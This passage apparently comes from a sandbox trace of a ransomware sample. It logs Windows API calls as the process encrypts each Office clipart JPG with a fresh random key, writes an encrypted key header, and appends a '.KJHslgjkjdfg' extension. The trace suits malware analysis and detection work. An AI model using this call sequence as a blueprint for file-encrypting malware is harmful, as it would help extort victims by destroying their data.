(in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.027] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.027] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.027] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x911a, lpOverlapped=0x0) returned 1 [0183.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9120, dwBufLen=0x9120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9120) returned 1 [0183.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.029] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9120, lpOverlapped=0x0) returned 1 [0183.029] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.029] SetEndOfFile (hFile=0x114) returned 1 [0183.032] GetProcessHeap () returned 0x2a0000 [0183.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.032] GetProcessHeap () returned 0x2a0000 [0183.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.kjhslgjkjdfg")) returned 1 [0183.033] CloseHandle (hObject=0x114) returned 1 [0183.033] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0183.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.034] GetProcessHeap () returned 0x2a0000 [0183.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.034] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.034] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.036] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.036] GetProcessHeap () returned 0x2a0000 [0183.036] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.036] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.036] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.036] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.036] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.036] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.037] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.037] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.037] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.037] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa75a, lpOverlapped=0x0) returned 1 [0183.037] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa760, dwBufLen=0xa760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa760) returned 1 [0183.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.038] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa760, lpOverlapped=0x0) returned 1 [0183.038] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.038] SetEndOfFile (hFile=0x114) returned 1 [0183.040] GetProcessHeap () returned 0x2a0000 [0183.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.041] GetProcessHeap () returned 0x2a0000 [0183.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.kjhslgjkjdfg")) returned 1 [0183.047] CloseHandle (hObject=0x114) returned 1 [0183.047] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0183.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.048] GetProcessHeap () returned 0x2a0000 [0183.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.048] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.048] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0183.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.051] GetProcessHeap () returned 0x2a0000 [0183.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.051] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.051] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.051] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.051] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.052] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.052] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.052] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.052] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x81ab, lpOverlapped=0x0) returned 1 [0183.053] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81b0, dwBufLen=0x81b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x81b0) returned 1 [0183.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.053] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x81b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x81b0, lpOverlapped=0x0) returned 1 [0183.053] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.053] SetEndOfFile (hFile=0x114) returned 1 [0183.056] GetProcessHeap () returned 0x2a0000 [0183.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.056] GetProcessHeap () returned 0x2a0000 [0183.056] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.kjhslgjkjdfg")) returned 1 [0183.057] CloseHandle (hObject=0x114) returned 1 [0183.057] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0183.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.058] GetProcessHeap () returned 0x2a0000 [0183.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.058] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0183.060] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.060] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.060] GetProcessHeap () returned 0x2a0000 [0183.060] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.060] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.060] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.061] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.061] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.061] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.061] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.061] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.061] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.061] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb9d1, lpOverlapped=0x0) returned 1 [0183.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9e0, dwBufLen=0xb9e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9e0) returned 1 [0183.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.063] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb9e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb9e0, lpOverlapped=0x0) returned 1 [0183.063] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.063] SetEndOfFile (hFile=0x114) returned 1 [0183.066] GetProcessHeap () returned 0x2a0000 [0183.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.066] GetProcessHeap () returned 0x2a0000 [0183.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.kjhslgjkjdfg")) returned 1 [0183.067] CloseHandle (hObject=0x114) returned 1 [0183.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0183.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.069] GetProcessHeap () returned 0x2a0000 [0183.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.069] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0183.071] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.071] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.071] GetProcessHeap () returned 0x2a0000 [0183.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.071] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.071] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.071] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.071] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.071] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.071] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.071] WriteFile 